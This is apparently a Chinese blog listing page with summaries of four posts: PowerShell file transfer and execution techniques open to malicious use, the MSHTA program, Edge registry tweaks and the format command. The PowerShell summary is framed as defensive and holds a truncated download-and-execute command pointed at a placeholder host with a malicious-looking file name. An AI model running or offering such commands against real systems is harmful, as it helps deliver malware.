2024年11月19日
PowerShell 提供了多种文件传输和执行的手段， 可以利用这些方式进行恶意活动，包括远程下载和执行文件、通过网络协议传输文件、通过编码手段隐藏文件内容、通过远程管理工具（如 WMI 和 PowerShell Remoting）执行命令等。了解这些技术能够帮助 IT 安全专家更好地防范和检测 PowerShell 滥用行为。
摘要： PowerShell 中的文件传输和执行方式有多种，主要包括以下几种： HTTP/HTTPS 下载：使用 Invoke-WebRequest 或 Invoke-RestMethod 下载文件并执行。 示例：Invoke-WebRequest -Uri http://example.com/malic 阅读全文
posted @ 2024-11-19 16:55 suv789 阅读(229) 评论(0) 推荐(0)
MSHTA（Microsoft HTML Application Host）是一个 Microsoft Windows 系统中用于执行 .hta（HTML 应用程序）文件的程序。它的全名是 Microsoft HTML Application Host，是一个执行 HTML 应用程序的可执行文件。.hta 文件是一种包含 HTML、CSS 和 JavaScript 的文件，
摘要： MSHTA（Microsoft HTML Application Host）是一个 Microsoft Windows 系统中用于执行 .hta（HTML 应用程序）文件的程序。它的全名是 Microsoft HTML Application Host，是一个执行 HTML 应用程序的可执行文件。.hta 文件是一种包含 HTML、CSS 和 JavaScript 的文件， mshta（Microsoft HTML Application Host）是一个用于执行 HTML 应用程序（HTA）的命令行工具，HTA 是一种使用 HTML 和脚本语言（如 VBScript 或 JScript）开发的应用程序，可以执行本地系统命令、访问文件系统、处理数据等。mshta 允许你 阅读全文
posted @ 2024-11-19 15:14 suv789 阅读(1288) 评论(0) 推荐(0)
调整方法和相关的注册表项，能帮助你加速 MS Edge 的加载：增强 Google Chrome 浏览器在视频播放、性能和响应速度方面的表现，可以通过修改 Windows 注册表来调整一些高级设置。要通过 Group Policy（组策略） 或创建和管理 Chrome 的 管理策略文件（例如 policies.json）来实现类似的配置
摘要： Microsoft Edge 优化配置 Windows Registry Editor Version 5.00 ; ; 该注册表文件用于优化 Windows 的网络性能 ; 特别是在使用 Edge 浏览器观看视频、电影和电视剧时 ; 提升缓存效率、减少延迟、增加并发连接数 ; ; ; 提升并发连接 阅读全文
posted @ 2024-11-19 13:12 suv789 阅读(733) 评论(0) 推荐(0)
format 命令是 Windows 操作系统中的一个命令行工具，用于格式化磁盘、分区或驱动器。格式化过程会清除磁盘上的所有数据，并准备磁盘用于存储文件。它可以通过命令提示符（CMD）或者 PowerShell 来执行。
摘要： format | Microsoft Learn FORMAT 命令的参数，我们可以将这些选项按功能分类，并整理成一个表格。以下是各个选项的功能分类及其说明。 FORMAT 命令功能分类表格 功能分类 命令参数 说明 指定格式化卷/分区 FORMAT volume 格式化指定的卷或分区（volume 阅读全文
posted @ 2024-11-19 11:12 suv789 阅读(1390) 评论(0) 推荐(0)